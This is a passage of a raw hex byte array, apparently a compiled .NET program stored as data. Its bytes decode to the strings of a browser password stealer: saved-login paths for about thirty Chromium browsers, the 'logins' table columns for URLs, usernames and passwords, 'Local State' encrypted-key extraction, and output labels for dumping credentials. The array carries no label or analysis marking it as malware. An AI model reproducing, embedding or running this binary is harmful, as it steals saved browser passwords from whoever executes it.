0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2F, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x6F, 0x00, 0x00, 0x41, 0x4D, 0x00, 0x61, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x53, 0x00, 0x74, 0x00, 0x75, 0x00, 0x64, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x50, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x3D, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x7C, 0x00, 0x20, 0x00, 0x53, 0x00, 0x52, 0x00, 0x57, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x20, 0x00, 0x49, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x25, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x54, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x1F, 0x54, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x4B, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x01, 0x1F, 0x49, 0x00, 0x72, 0x00, 0x69, 0x00, 0x64, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x25, 0x5C, 0x00, 0x49, 0x00, 0x72, 0x00, 0x69, 0x00, 0x64, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x15, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x65, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x47, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x65, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x00, 0x2B, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x41, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x00, 0x1F, 0x41, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x42, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6B, 0x00, 0x00, 0x1F, 0x42, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x43, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x2B, 0x43, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x68, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x00, 0x21, 0x43, 0x00, 0x68, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x00, 0x31, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x21, 0x45, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x35, 0x45, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x29, 0x45, 0x00, 0x70, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x79, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x3D, 0x45, 0x00, 0x70, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x79, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x4B, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x21, 0x4B, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x4F, 0x00, 0x72, 0x00, 0x62, 0x00, 0x69, 0x00, 0x74, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x23, 0x4F, 0x00, 0x72, 0x00, 0x62, 0x00, 0x69, 0x00, 0x74, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x00, 0x33, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x13, 0x75, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x00, 0x31, 0x75, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x56, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x69, 0x00, 0x00, 0x23, 0x56, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x69, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x15, 0x53, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x69, 0x00, 0x70, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x36, 0x00, 0x00, 0x67, 0x46, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x72, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x69, 0x00, 0x70, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x72, 0x00, 0x35, 0x00, 0x5C, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x5C, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x56, 0x00, 0x69, 0x00, 0x65, 0x00, 0x77, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x69, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x00, 0x3D, 0x43, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x47, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x70, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x69, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2F, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1D, 0x4C, 0x00, 0x69, 0x00, 0x65, 0x00, 0x62, 0x00, 0x61, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x21, 0x6C, 0x00, 0x69, 0x00, 0x65, 0x00, 0x62, 0x00, 0x61, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x51, 0x00, 0x49, 0x00, 0x50, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00, 0x72, 0x00, 0x66, 0x00, 0x00, 0x25, 0x51, 0x00, 0x49, 0x00, 0x50, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00, 0x72, 0x00, 0x66, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x45, 0x00, 0x64, 0x00, 0x67, 0x00, 0x65, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x31, 0x4D, 0x00, 0x69, 0x00, 0x63, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x45, 0x00, 0x64, 0x00, 0x67, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x4D, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x2E, 0x00, 0x52, 0x00, 0x75, 0x00, 0x00, 0x2D, 0x4D, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x2E, 0x00, 0x52, 0x00, 0x75, 0x00, 0x5C, 0x00, 0x41, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x6C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x00, 0x15, 0x6F, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x5F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x00, 0x1D, 0x75, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x65, 0x00, 0x00, 0x1D, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00, 0x5F, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x65, 0x00, 0x00, 0x07, 0x76, 0x00, 0x31, 0x00, 0x30, 0x00, 0x00, 0x07, 0x76, 0x00, 0x31, 0x00, 0x31, 0x00, 0x00, 0x0F, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x31, 0x00, 0x30, 0x00, 0x00, 0x07, 0x77, 0x00, 0x31, 0x00, 0x30, 0x00, 0x00, 0x27, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x66, 0x00, 0x61, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x29, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x66, 0x00, 0x61, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x31, 0x00, 0x00, 0x37, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x66, 0x00, 0x61, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x5F, 0x00, 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x00, 0x17, 0x5C, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x19, 0x5C, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x31, 0x00, 0x00, 0x27, 0x5C, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x5F, 0x00, 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x00, 0x0F, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x19, 0x5C, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x00, 0x2F, 0x22, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x5F, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x22, 0x00, 0x3A, 0x00, 0x22, 0x00, 0x28, 0x00, 0x2E, 0x00, 0x2A, 0x00, 0x3F, 0x00, 0x29, 0x00, 0x22, 0x00, 0x00, 0x0B, 0x55, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x00, 0x15, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x00, 0x15, 0x50, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x00, 0x1B, 0x41, 0x00, 0x70, 0x00, 0x70, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x00, 0x3B, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x00, 0x1F, 0x53, 0x00, 0x51, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x74, 0x00, 0x20, 0x00, 0x33, 0x00, 0x00, 0x45, 0x4E, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x53, 0x00, 0x51, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x33, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x5B, 0x41, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x2D, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x75, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x63, 0x00, 0x61, 0x00, 0x70, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x64, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x73, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x20, 0x00, 0x73, 0x00, 0x75, 0x00, 0x70, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x01, 0x0B, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x03, 0x28, 0x00, 0x00, 0x03, 0x20, 0x00, 0x00, 0x0D, 0x55, 0x00, 0x4E, 0x00, 0x49, 0x00, 0x51, 0x00, 0x55, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x77, 0x6F, 0xF7, 0xFD, 0xBE, 0xD1, 0x48, 0xBC, 0x61, 0x9B, 0x02, 0xAF, 0x5D, 0xC7, 0x8B, 0x00, 0x04, 0x20, 0x01, 0x01, 0x08, 0x03, 0x20, 0x00, 0x01, 0x05, 0x20, 0x01, 0x01, 0x11, 0x11, 0x04, 0x20, 0x01, 0x01, 0x0E, 0x04, 0x20, 0x01, 0x01, 0x02, 0x12, 0x07, 0x04, 0x15, 0x12, 0x41, 0x01, 0x1D, 0x1C, 0x15, 0x11, 0x45, 0x01, 0x12, 0x0C, 0x12, 0x0C, 0x1D, 0x1C, 0x06, 0x15, 0x12, 0x41, 0x01, 0x1D, 0x1C, 0x06, 0x15, 0x12, 0x41, 0x01, 0x12, 0x0C, 0x08, 0x20, 0x00, 0x15, 0x11, 0x45, 0x01, 0x13, 0x00, 0x06, 0x15, 0x11, 0x45, 0x01, 0x12, 0x0C, 0x04, 0x20, 0x00, 0x13, 0x00, 0x04, 0x00, 0x00, 0x12, 0x75, 0x05, 0x20, 0x01, 0x1D, 0x05, 0x0E, 0x05, 0x20, 0x01, 0x0E, 0x1D, 0x05, 0x05, 0x20, 0x01, 0x01, 0x13, 0x00, 0x03, 0x20, 0x00, 0x02, 0x0F, 0x07, 0x09, 0x18, 0x18, 0x18, 0x1D, 0x05, 0x11, 0x2C, 0x11, 0x2C, 0x1D, 0x05, 0x08, 0x09, 0x05, 0x00, 0x02, 0x0E, 0x0E, 0x1C, 0x04, 0x00, 0x01, 0x01, 0x18, 0x04, 0x07, 0x01, 0x1D, 0x05, 0x06, 0x00, 0x02, 0x08, 0x1D, 0x05, 0x08, 0x06, 0x07, 0x03, 0x18, 0x09, 0x1D, 0x05, 0x02, 0x06, 0x18, 0x07, 0x07, 0x04, 0x08, 